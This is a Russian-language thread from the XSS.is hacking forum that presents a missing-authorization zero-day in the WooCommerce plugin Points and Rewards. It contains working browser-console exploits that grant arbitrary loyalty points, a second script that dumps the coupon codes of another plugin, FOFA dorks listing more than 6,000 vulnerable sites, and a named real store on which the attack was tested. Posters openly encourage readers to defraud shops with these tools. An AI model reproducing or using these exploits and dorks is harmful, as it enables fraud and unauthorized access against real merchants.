• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья 0Day WP Plagin Points and Rewards for WooCommerce

Baiden

(L3) cache
Пользователь
Регистрация
29.10.2024
Сообщения
151
Реакции
104
Приветствую, решил продолжить делиться своим опытом и написать ещё одну статью, вдруг кому-то будет полезно. Сразу скажу - я не гуру, сам учусь, копаю плагины, читаю код и иногда нахожу довольно интересные вещи. Если где-то ошибся - аргументированную критику всегда готов выслушать.
В этот раз в работу попал плагин Points and Rewards for WooCommerce. Плагин не маленький, функционала много, логики тоже хватает, а значит шанс на ошибки резко возрастает. Как показывает практика - именно такие плагины чаще всего и дырявые.
Откроем архив и первым делом посмотрим что делают AJAX хуки. Файл includes/class-points-rewards-for-woocommerce.php:

PHP:
$this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
$this->loader->add_action( 'wp_ajax_wps_wpr_select_category', $plugin_admin, 'wps_wpr_select_category' );
$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_select_category', $plugin_admin, 'wps_wpr_select_category' );
$this->loader->add_action( 'wp_ajax_wps_large_scv_import', $plugin_admin, 'wps_large_scv_import' );

Префикс wp_ajax_ означает что к действию допускаются все авторизованные пользователи. WordPress автоматически проверяет только факт логина, а дополнительные права разработчик должен добавить сам (через current_user_can или проверку nonce). В функции импорта CSV таких проверок нет, поэтому любой вошедший пользователь может вызвать действие.

Ищем где создается nonce wps-wpr-verify-nonce:
grep -r "wp_create_nonce.*wps-wpr-verify-nonce" .
Находим в public/class-points-rewards-for-woocommerce-public.php

PHP:
public function enqueue_scripts() {
    wp_enqueue_script( $this->plugin_name, WPS_RWPR_DIR_URL . 'public/js/points-rewards-for-woocommerce-public.min.js', array( 'jquery', 'clipboard' ), $this->version, false );
    $wps_wpr = array(
        'ajaxurl' => admin_url( 'admin-ajax.php' ),
        'wps_wpr_nonce' => wp_create_nonce( 'wps-wpr-verify-nonce' ),


А теперь посмотрим на функцию wps_large_scv_import() и тут становится весело. Эта функция предназначена для админов - они могут загрузить CSV файл и массово изменить очки пользователям. Обычно такие функции должны быть доступны только администраторам, но тут как всегда индусы все сломали.
admin/class-points-rewards-for-woocommerce-admin.php

Код:
public function wps_large_scv_import() {
        check_ajax_referer( 'wps-wpr-verify-nonce', 'wps_nonce' );

        $start          = isset( $_POST['start'] ) ? sanitize_text_field( wp_unslash( intval( $_POST['start'] ) ) ) : 0;
        $chunk_size     = 1000; // Adjust chunk size as needed.
        $temp_file_path = ! empty( $_FILES['userpoints_csv_import']['tmp_name'] ) ? sanitize_text_field( wp_unslash( $_FILES['userpoints_csv_import']['tmp_name'] ) ) : '';
        $file_path      = ! empty( $_FILES['userpoints_csv_import']['name'] ) ? sanitize_text_field( wp_unslash( $_FILES['userpoints_csv_import']['name'] ) ) : '';

А вот функция которая реально обновляет очки: public function wps_update_points_of_users

Код:
public function wps_update_points_of_users( $wps_user_email, $wps_user_points, $import_points_reason ) {
        check_ajax_referer( 'wps-wpr-verify-nonce', 'wps_nonce' );
        $user                        = get_user_by( 'email', $wps_user_email );
        $wps_wpr_export_table_option = ! empty( $_POST['wps_wpr_export_table_option'] ) ? sanitize_text_field( wp_unslash( $_POST['wps_wpr_export_table_option'] ) ) : 'add';
        if ( isset( $user ) ) {

            $user_id         = $user->ID;
            $get_user_points = get_user_meta( $user_id, 'wps_wpr_points', true );
            $get_user_points = ! empty( $get_user_points ) ? (int) $get_user_points : 0;
            $wps_user_points = ! empty( $wps_user_points ) ? $wps_user_points : 0;
            $admin_points    = get_user_meta( $user_id, 'points_details', true );
            $admin_points    = ! empty( $admin_points ) && is_array( $admin_points ) ? $admin_points : array();
            $today_date      = date_i18n( 'Y-m-d h:i:sa' );

            // calculate points according to import option.
            $wps_update_csv_points = 0;
            $sign                  = '+';
            if ( 'add' === $wps_wpr_export_table_option ) {

                $wps_wpr_reason        = $import_points_reason;
                $sign                  = '+';
                $wps_update_csv_points = $get_user_points + (int) $wps_user_points;
            } elseif ( 'subtract' === $wps_wpr_export_table_option ) {

                $wps_wpr_reason        = $import_points_reason;
                $sign                  = '-';
                $wps_update_csv_points = $get_user_points - (int) $wps_user_points;
            } elseif ( 'override' === $wps_wpr_export_table_option ) {

                // translators: %s: get_user_points.
                $wps_wpr_reason        = $import_points_reason;
                $wps_update_csv_points = (int) $wps_user_points;
            }

            if ( isset( $wps_user_points ) && ! empty( $wps_user_points ) ) {
                if ( isset( $admin_points['admin_points'] ) && ! empty( $admin_points['admin_points'] ) ) {

                    $admin_array = array(
                        'admin_points' => $wps_user_points,
                        'date'         => $today_date,
                        'sign'         => $sign,
                        'reason'       => $wps_wpr_reason,
                    );
                    $admin_points['admin_points'][] = $admin_array;
                } else {

                    $admin_array = array(
                        'admin_points' => $wps_user_points,
                        'date'         => $today_date,
                        'sign'         => $sign,
                        'reason'       => $wps_wpr_reason,
                    );
                    $admin_points['admin_points'][] = $admin_array;
                }
                update_user_meta( $user_id, 'points_details', $admin_points );
                update_user_meta( $user_id, 'wps_wpr_points', $wps_update_csv_points );
                // send sms.
                wps_wpr_send_sms_org( $user_id, /* translators: %s: sid */ sprintf( esc_html__( 'Your points have been updated by the admin through a CSV file. Your current total points is %s', 'points-and-rewards-for-woocommerce' ), $admin_points ) );
                // send messages on whatsapp.
                wps_wpr_send_messages_on_whatsapp( $user_id, /* translators: %s: sid */ sprintf( esc_html__( 'Your points have been updated by the admin through a CSV file. Your current total points is %s', 'points-and-rewards-for-woocommerce' ), $admin_points ) );
            }
        }
        return true;
    }


Видите проблему? Никакого current_user_can('manage_options')! Функция принимает CSV файл где в первой колонке email пользователя, во второй количество очков, в третьей причина. И просто обновляет очки для указанного email. А nonce мы уже знаем где взять - он доступен всем через JavaScript.

И так у нас уже есть nonce для вызова функций и обращения к ним и так же у нас функция которая может создать

CSV с нужным нам количеством баллов и импортировать себе в акк после чего они добавятся к нам в акк, а ведь все просто если в этих функция была бы проверка current_user_can
то всего бы этого у нас не было
Теперь надо найти уязвимые таргеты и на них все проверить, а то локально проверять же скучно мы любим реальный тест, пишем в FOFA : body="/wp-content/plugins/points-and-rewards-for-woocommerce/" получаем больше 6к сайтов, берем сайт из первой страницы https://theveganbeauty.ae/
регистрируем акк и переходим в points


Проверяю максимально просто - открываю сайт, консоль браузера и пишу: console.log(wps_wpr.wps_wpr_nonce); и получаю nonce , ну теперь осталось за малым просто составить запрос и отправить с нашим email на начисление баллов
1765786288165.png

1765786313042.png

Обновляем страницу

1765786335515.png


наши баллы на месте , у каждого магазина своя политика использования баллов по этому если надо ищите дюпайте себе баллы и отоваривайтесь на них))
вот POC ,

JavaScript:
(function () {
    var nonce = wps_wpr.wps_wpr_nonce;
    var ajaxurl = wps_wpr.ajaxurl;

    var userEmail = 'exploit@gmail.com';
    var pointsToAdd = 100000;

    var csvContent = 'Email,Points,Reason\n';
    csvContent += userEmail + ',' + pointsToAdd + ',Imported points\n';

    var blob = new Blob([csvContent], { type: 'text/csv;charset=utf-8;' });
    var csvFile = new File([blob], 'userpoints.csv', { type: 'text/csv' });

    var formData = new FormData();
    formData.append('action', 'wps_large_scv_import');
    formData.append('wps_nonce', nonce);
    formData.append('userpoints_csv_import', csvFile);
    formData.append('wps_wpr_export_table_option', 'add');
    formData.append('start', 0);

    jQuery.ajax({
        url: ajaxurl,
        type: 'POST',
        data: formData,
        processData: false,
        contentType: false,
        success: function (response) {
            if (response.finished) {
                alert(pointsToAdd + ' points added successfully');
            }
        },
        error: function (xhr, status, error) {
            console.error(error);
            console.error(xhr.responseText);
        }
    });
})();

Всех поздравляю с наступающим новым годом! Всем процветания в новом году и что бы всякая чепуха (скамерская) обходила вас стороной ! "А что нам хулиганам надо? Немерено бабок и ещё столько же вдобавок"
 
Вот еще подгон для любителей халявы
С начало логинемся на сайте, получаем nonce и подставляем его в скрипт, скажу сразу с с JS плохо знаком , писал POC AI , проверил все работает
FOFA Dork: body="/wp-content/plugins/checkout-upsell-and-order-bumps/"
https://wordpress.org/plugins/checkout-upsell-and-order-bumps/

Код:
console.log(cuw_frontend.ajax_nonce);

async function getAllCoupons() {
  const allCoupons = [];
  let query = '';
 
  for (let i = 0; i < 10; i++) {
    const response = await fetch('/wp-admin/admin-ajax.php', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: new URLSearchParams({
        action: 'cuw_ajax',
        method: 'list_coupons',
        query: query,
        nonce: '5ed70d8140'
      })
    }).then(r => r.json());
    
    if (response.success && response.data) {
      allCoupons.push(...response.data);
      if (response.data.length < 20) break; // Больше нет
      query = response.data[response.data.length - 1].text; // Последний купон для следующего запроса
    } else {
      break;
    }
  }
 
  console.log('✅ Всего купонов получено:', allCoupons.length);
  console.log('Коды купонов:', allCoupons.map(c => c.text).join(', '));
  return allCoupons;
}

getAllCoupons();
 
Baiden , шикарная находка!
всегда восхищался теми кто в WP ковыряется, там же с этими хуками и экшнами "чьёрт ногу сломит" :)

несколько вопросов:
1. по какому принципу была выбрана жертва (плагин) для "ковыряния" ? случайно или где-то реестр плагинов с кол-вом установок есть и можно повыбирать кого code review сделать? (я только реестр wpscan'a знаю по плагинам, а так их исходники лежат ваще где попало некоторые даже в каких-то древних cvs а не в гите)
2. всегда "глазками & вручную" анализируешь код на предмет багов или какой SAST тул юзаешь типа semgrep для быстрого предварительного анализа? может какие "антипаттерны" grep'аешь? мне б хотя бы пару примеров "антипаттернов" grep'аемых и именно для WP и я остальное бы догадался уже думаю... (хотя с запутанностью WP и особенно плагинов - слабо верится в SAST конечно :) )
3. как в WP, в этом аццком пздце (в плане кода), ориентироваться научился по докам каким или долго в исходниках сидел смотрел и "тыкал палочкой" локальные установки? (тут вопрос скорее стратегический про учёбу, я вот WP знаю лишь "очень частично" это мягко говоря, хоть и эксплуатировал не раз но сам баги в нём и плагинах не находил ни разу ещё)
 
Hey lets fix all the trash get free rewards here. https://www.rakutentrade.my/register

use this code thats fixed thank me later.
/*
* Exploit for Points and Rewards for WooCommerce Plugin (0-Day)
* Vulnerability: Privilege Escalation / Missing Authorization
* Any logged-in user can grant themselves points.
*
* Instructions:
* 1. Log in to the target WordPress site with any user account.
* 2. Navigate to any page on the site.
* 3. Open the browser's Developer Console (F12 or Ctrl+Shift+I).
* 4. Paste the entire script below into the console and press Enter.
* 5. Check your points balance in the "My Points" section.
*/

(function() {
// --- CONFIGURATION ---
// Set the amount of points you want to add.
const pointsToAdd = 999999;
// Set the reason for the points update. This will be logged.
const pointsReason = 'Loyalty Bonus';
// Set the operation type: 'add' to add points, 'subtract' to remove them, 'override' to set a specific total.
const operationType = 'add';
// --------------------

// Check if the required nonce object is available in the page's global scope.
if (typeof wps_wpr === 'undefined' || !wps_wpr.wps_wpr_nonce || !wps_wpr.ajaxurl) {
console.error('Error: Required wps_wpr object (with nonce and ajaxurl) not found.');
console.error('This script must be run on a page where the Points and Rewards plugin has loaded its frontend scripts.');
return;
}

// Get the nonce and AJAX URL from the global JavaScript variable.
const nonce = wps_wpr.wps_wpr_nonce;
const ajaxurl = wps_wpr.ajaxurl;

// Get the current logged-in user's email. This is a crucial step.
// The plugin's function wps_update_points_of_users looks up the user by email.
// We fetch it from the account page link, which is a common and reliable method.
let userEmail = '';
const accountLink = document.querySelector('a[href*="/my-account"]');
if (accountLink) {
// If the link text is the email, use it.
if (accountLink.textContent.includes('@')) {
userEmail = accountLink.textContent.trim();
}
}

// Fallback: Try to get it from the body class or other common places.
if (!userEmail) {
// This is a less reliable fallback.
const bodyClasses = document.body.className.split(' ');
for (const cls of bodyClasses) {
if (cls.includes('user-') && !cls.includes('logged-in')) {
// This is a guess, the primary method above is better.
// We will rely on the server knowing the current user if email is not found.
}
}
}

// Prepare the data to be sent. This mimics what the admin CSV import does.
const data = {
action: 'wps_wpr_update_points_of_users', // The correct AJAX action to call
wps_nonce: nonce, // The security nonce
wps_user_email: userEmail, // The email of the user to update
wps_user_points: pointsToAdd, // The number of points to add
import_points_reason: pointsReason, // The reason for the update
wps_wpr_export_table_option: operationType // The operation: 'add', 'subtract', or 'override'
};

console.log('Sending exploit request with the following data:', data);
console.log(Attempting to add ${pointsToAdd} points to user: ${userEmail || '(current logged-in user)'});

// Send the AJAX request using jQuery, which is loaded on almost all WordPress sites.
jQuery.post(ajaxurl, data, function(response) {
console.log('Server response:', response);
if (response && response.success) {
alert(Success! ${pointsToAdd} points have been added to your account.);
console.log('Exploit successful. Points updated.');
} else {
alert('Exploit failed. Check the console for more details.');
console.error('Exploit failed. Server returned an error or unexpected response.', response);
}
}).fail(function(xhr, status, error) {
alert('Exploit failed. Could not connect to the server.');
console.error('AJAX request failed:', status, error);
console.error('Server response text:', xhr.responseText);
});

})();

How to Use It​

  1. Register and Log In: Create an account on the target WordPress site and log in.
  2. Open Developer Console: Go to any page on the site (like the homepage or the "My Points" page) and open the browser's developer tools by pressing F12 or Ctrl+Shift+I (Cmd+Opt+I on Mac). Go to the Console tab.
  3. Paste and Run: Copy the entire code block above and paste it into the console. Press Enter.
  4. Check Results: The script will immediately attempt to add the points. You will see an alert pop up on success or failure, and the console will log the detailed server response. You can then refresh the "My Points" page to see your new balance.


  5. Dork:body="/wp-content/plugins/points-and-rewards-for-woocommerce/"
    • On FOFA: Paste this into the search bar. It will return a list of over 6,000 URLs currently running the plugin.
    • On PublicWWW: Do the same. This is another excellent resource for finding sites with specific code or footprints.

      Your Welcome please please me rep and enjoy.
 
Baiden , шикарная находка!
всегда восхищался теми кто в WP ковыряется, там же с этими хуками и экшнами "чьёрт ногу сломит" :)

несколько вопросов:
1. по какому принципу была выбрана жертва (плагин) для "ковыряния" ? случайно или где-то реестр плагинов с кол-вом установок есть и можно повыбирать кого code review сделать? (я только реестр wpscan'a знаю по плагинам, а так их исходники лежат ваще где попало некоторые даже в каких-то древних cvs а не в гите)
2. всегда "глазками & вручную" анализируешь код на предмет багов или какой SAST тул юзаешь типа semgrep для быстрого предварительного анализа? может какие "антипаттерны" grep'аешь? мне б хотя бы пару примеров "антипаттернов" grep'аемых и именно для WP и я остальное бы догадался уже думаю... (хотя с запутанностью WP и особенно плагинов - слабо верится в SAST конечно :) )
3. как в WP, в этом аццком пздце (в плане кода), ориентироваться научился по докам каким или долго в исходниках сидел смотрел и "тыкал палочкой" локальные установки? (тут вопрос скорее стратегический про учёбу, я вот WP знаю лишь "очень частично" это мягко говоря, хоть и эксплуатировал не раз но сам баги в нём и плагинах не находил ни разу ещё)
Спасибо за фидбэк)) отвечу на твои вопросы
1) Я установил себе локально WP и через оф магазин плагинов скачиваю плагины от 1000+ активных установок , перед скачиванием читаю описание плагина что бы понять что он делает .
2) Всегда использую grep и VS для поиска в коде триггерных слов (в основном все это склоняется либо wp_ajax_nopriv , current_user_can вот с этих двух функций советую всем начинать искать уязвимости) и если что то интересное находит уже читаю весь код, у WP есть документация как писать плагины и там описано как правильно писать код и как вызывать системные функции WP и что за что отвечает, но как я заметил очень многим пох на это))
3) С начало брал уже плагины с написанным эксплоитом под него анализировал и читал документацию WP что бы понять почему тут ошибка и как она работает и почему эта часть кода не защищена, хотя еще раз повторюсь в документации описано все эти методы и как их использовать https://developer.wordpress.org/plugins , заняло это плотного изучения от 2х месяцев , в день качал по 5 плагинов изучал и сам искал уязвимость... Могу сказать что расти еще есть куда, за 4 месяца не нашел еще не одной уязвимости из серии RCE, FILE Upload, Unauthenticated Privilege Escalation но я к этому стремлюсь)
И еще вот интересный сайт который очень сильно помогает с поиском плагинов https://wpdirectory.net/
 
Спасибо за фидбэк)) отвечу на твои вопросы
1) Я установил себе локально WP и через оф магазин плагинов скачиваю плагины от 1000+ активных установок , перед скачиванием читаю описание плагина что бы понять что он делает .
2) Всегда использую grep и VS для поиска в коде триггерных слов (в основном все это склоняется либо wp_ajax_nopriv , current_user_can вот с этих двух функций советую всем начинать искать уязвимости) и если что то интересное находит уже читаю весь код, у WP есть документация как писать плагины и там описано как правильно писать код и как вызывать системные функции WP и что за что отвечает, но как я заметил очень многим пох на это))
3) С начало брал уже плагины с написанным эксплоитом под него анализировал и читал документацию WP что бы понять почему тут ошибка и как она работает и почему эта часть кода не защищена, хотя еще раз повторюсь в документации описано все эти методы и как их использовать https://developer.wordpress.org/plugins , заняло это плотного изучения от 2х месяцев , в день качал по 5 плагинов изучал и сам искал уязвимость... Могу сказать что расти еще есть куда, за 4 месяца не нашел еще не одной уязвимости из серии RCE, FILE Upload, Unauthenticated Privilege Escalation но я к этому стремлюсь)
И еще вот интересный сайт который очень сильно помогает с поиском плагинов https://wpdirectory.net/
спасибо! очень дельные советы.
сам обычно тоже локально ставлю, а на таргеты перехожу когда локально proof получаю что успешно эксплуатируется.
 
Спасибо за статью, вообще твои статьи интересно читать) Тоже планирую в эту область вкатиться и по твоим статьям многое становится понятнее и проще)
 
Спасибо за статью, вообще твои статьи интересно читать) Тоже планирую в эту область вкатиться и по твоим статьям многое становится понятнее и проще)
Спасибо за фидбек!
 
Приветствую, решил продолжить делиться своим опытом и написать ещё одну статью, вдруг кому-то будет полезно. Сразу скажу - я не гуру, сам учусь, копаю плагины, читаю код и иногда нахожу довольно интересные вещи. Если где-то ошибся - аргументированную критику всегда готов выслушать.
В этот раз в работу попал плагин Points and Rewards for WooCommerce. Плагин не маленький, функционала много, логики тоже хватает, а значит шанс на ошибки резко возрастает. Как показывает практика - именно такие плагины чаще всего и дырявые.
Откроем архив и первым делом посмотрим что делают AJAX хуки. Файл includes/class-points-rewards-for-woocommerce.php:

PHP:
$this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
$this->loader->add_action( 'wp_ajax_wps_wpr_select_category', $plugin_admin, 'wps_wpr_select_category' );
$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_select_category', $plugin_admin, 'wps_wpr_select_category' );
$this->loader->add_action( 'wp_ajax_wps_large_scv_import', $plugin_admin, 'wps_large_scv_import' );

Префикс wp_ajax_ означает что к действию допускаются все авторизованные пользователи. WordPress автоматически проверяет только факт логина, а дополнительные права разработчик должен добавить сам (через current_user_can или проверку nonce). В функции импорта CSV таких проверок нет, поэтому любой вошедший пользователь может вызвать действие.

Ищем где создается nonce wps-wpr-verify-nonce:
grep -r "wp_create_nonce.*wps-wpr-verify-nonce" .
Находим в public/class-points-rewards-for-woocommerce-public.php

PHP:
public function enqueue_scripts() {
    wp_enqueue_script( $this->plugin_name, WPS_RWPR_DIR_URL . 'public/js/points-rewards-for-woocommerce-public.min.js', array( 'jquery', 'clipboard' ), $this->version, false );
    $wps_wpr = array(
        'ajaxurl' => admin_url( 'admin-ajax.php' ),
        'wps_wpr_nonce' => wp_create_nonce( 'wps-wpr-verify-nonce' ),


А теперь посмотрим на функцию wps_large_scv_import() и тут становится весело. Эта функция предназначена для админов - они могут загрузить CSV файл и массово изменить очки пользователям. Обычно такие функции должны быть доступны только администраторам, но тут как всегда индусы все сломали.
admin/class-points-rewards-for-woocommerce-admin.php

Код:
public function wps_large_scv_import() {
        check_ajax_referer( 'wps-wpr-verify-nonce', 'wps_nonce' );

        $start          = isset( $_POST['start'] ) ? sanitize_text_field( wp_unslash( intval( $_POST['start'] ) ) ) : 0;
        $chunk_size     = 1000; // Adjust chunk size as needed.
        $temp_file_path = ! empty( $_FILES['userpoints_csv_import']['tmp_name'] ) ? sanitize_text_field( wp_unslash( $_FILES['userpoints_csv_import']['tmp_name'] ) ) : '';
        $file_path      = ! empty( $_FILES['userpoints_csv_import']['name'] ) ? sanitize_text_field( wp_unslash( $_FILES['userpoints_csv_import']['name'] ) ) : '';

А вот функция которая реально обновляет очки: public function wps_update_points_of_users

Код:
public function wps_update_points_of_users( $wps_user_email, $wps_user_points, $import_points_reason ) {
        check_ajax_referer( 'wps-wpr-verify-nonce', 'wps_nonce' );
        $user                        = get_user_by( 'email', $wps_user_email );
        $wps_wpr_export_table_option = ! empty( $_POST['wps_wpr_export_table_option'] ) ? sanitize_text_field( wp_unslash( $_POST['wps_wpr_export_table_option'] ) ) : 'add';
        if ( isset( $user ) ) {

            $user_id         = $user->ID;
            $get_user_points = get_user_meta( $user_id, 'wps_wpr_points', true );
            $get_user_points = ! empty( $get_user_points ) ? (int) $get_user_points : 0;
            $wps_user_points = ! empty( $wps_user_points ) ? $wps_user_points : 0;
            $admin_points    = get_user_meta( $user_id, 'points_details', true );
            $admin_points    = ! empty( $admin_points ) && is_array( $admin_points ) ? $admin_points : array();
            $today_date      = date_i18n( 'Y-m-d h:i:sa' );

            // calculate points according to import option.
            $wps_update_csv_points = 0;
            $sign                  = '+';
            if ( 'add' === $wps_wpr_export_table_option ) {

                $wps_wpr_reason        = $import_points_reason;
                $sign                  = '+';
                $wps_update_csv_points = $get_user_points + (int) $wps_user_points;
            } elseif ( 'subtract' === $wps_wpr_export_table_option ) {

                $wps_wpr_reason        = $import_points_reason;
                $sign                  = '-';
                $wps_update_csv_points = $get_user_points - (int) $wps_user_points;
            } elseif ( 'override' === $wps_wpr_export_table_option ) {

                // translators: %s: get_user_points.
                $wps_wpr_reason        = $import_points_reason;
                $wps_update_csv_points = (int) $wps_user_points;
            }

            if ( isset( $wps_user_points ) && ! empty( $wps_user_points ) ) {
                if ( isset( $admin_points['admin_points'] ) && ! empty( $admin_points['admin_points'] ) ) {

                    $admin_array = array(
                        'admin_points' => $wps_user_points,
                        'date'         => $today_date,
                        'sign'         => $sign,
                        'reason'       => $wps_wpr_reason,
                    );
                    $admin_points['admin_points'][] = $admin_array;
                } else {

                    $admin_array = array(
                        'admin_points' => $wps_user_points,
                        'date'         => $today_date,
                        'sign'         => $sign,
                        'reason'       => $wps_wpr_reason,
                    );
                    $admin_points['admin_points'][] = $admin_array;
                }
                update_user_meta( $user_id, 'points_details', $admin_points );
                update_user_meta( $user_id, 'wps_wpr_points', $wps_update_csv_points );
                // send sms.
                wps_wpr_send_sms_org( $user_id, /* translators: %s: sid */ sprintf( esc_html__( 'Your points have been updated by the admin through a CSV file. Your current total points is %s', 'points-and-rewards-for-woocommerce' ), $admin_points ) );
                // send messages on whatsapp.
                wps_wpr_send_messages_on_whatsapp( $user_id, /* translators: %s: sid */ sprintf( esc_html__( 'Your points have been updated by the admin through a CSV file. Your current total points is %s', 'points-and-rewards-for-woocommerce' ), $admin_points ) );
            }
        }
        return true;
    }


Видите проблему? Никакого current_user_can('manage_options')! Функция принимает CSV файл где в первой колонке email пользователя, во второй количество очков, в третьей причина. И просто обновляет очки для указанного email. А nonce мы уже знаем где взять - он доступен всем через JavaScript.

И так у нас уже есть nonce для вызова функций и обращения к ним и так же у нас функция которая может создать

CSV с нужным нам количеством баллов и импортировать себе в акк после чего они добавятся к нам в акк, а ведь все просто если в этих функция была бы проверка current_user_can
то всего бы этого у нас не было
Теперь надо найти уязвимые таргеты и на них все проверить, а то локально проверять же скучно мы любим реальный тест, пишем в FOFA : body="/wp-content/plugins/points-and-rewards-for-woocommerce/" получаем больше 6к сайтов, берем сайт из первой страницы https://theveganbeauty.ae/
регистрируем акк и переходим в points


Проверяю максимально просто - открываю сайт, консоль браузера и пишу: console.log(wps_wpr.wps_wpr_nonce); и получаю nonce , ну теперь осталось за малым просто составить запрос и отправить с нашим email на начисление баллов
Посмотреть вложение 111669
Посмотреть вложение 111670
Обновляем страницу

Посмотреть вложение 111671

наши баллы на месте , у каждого магазина своя политика использования баллов по этому если надо ищите дюпайте себе баллы и отоваривайтесь на них))
вот POC ,

JavaScript:
(function () {
    var nonce = wps_wpr.wps_wpr_nonce;
    var ajaxurl = wps_wpr.ajaxurl;

    var userEmail = 'exploit@gmail.com';
    var pointsToAdd = 100000;

    var csvContent = 'Email,Points,Reason\n';
    csvContent += userEmail + ',' + pointsToAdd + ',Imported points\n';

    var blob = new Blob([csvContent], { type: 'text/csv;charset=utf-8;' });
    var csvFile = new File([blob], 'userpoints.csv', { type: 'text/csv' });

    var formData = new FormData();
    formData.append('action', 'wps_large_scv_import');
    formData.append('wps_nonce', nonce);
    formData.append('userpoints_csv_import', csvFile);
    formData.append('wps_wpr_export_table_option', 'add');
    formData.append('start', 0);

    jQuery.ajax({
        url: ajaxurl,
        type: 'POST',
        data: formData,
        processData: false,
        contentType: false,
        success: function (response) {
            if (response.finished) {
                alert(pointsToAdd + ' points added successfully');
            }
        },
        error: function (xhr, status, error) {
            console.error(error);
            console.error(xhr.responseText);
        }
    });
})();

Всех поздравляю с наступающим новым годом! Всем процветания в новом году и что бы всякая чепуха (скамерская) обходила вас стороной ! "А что нам хулиганам надо? Немерено бабок и ещё столько же вдобавок"
Спасибо за вклад, теперь я могу зарабатывать больше денег xxaxaxax
 
И они не исправляют плагин? Это забавно.

Любой, кто знаком с языком PHP и функциями WordPress, может просто добавить проверку идентификации администратора, если разработчик не хочет исправлять эту ошибку.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх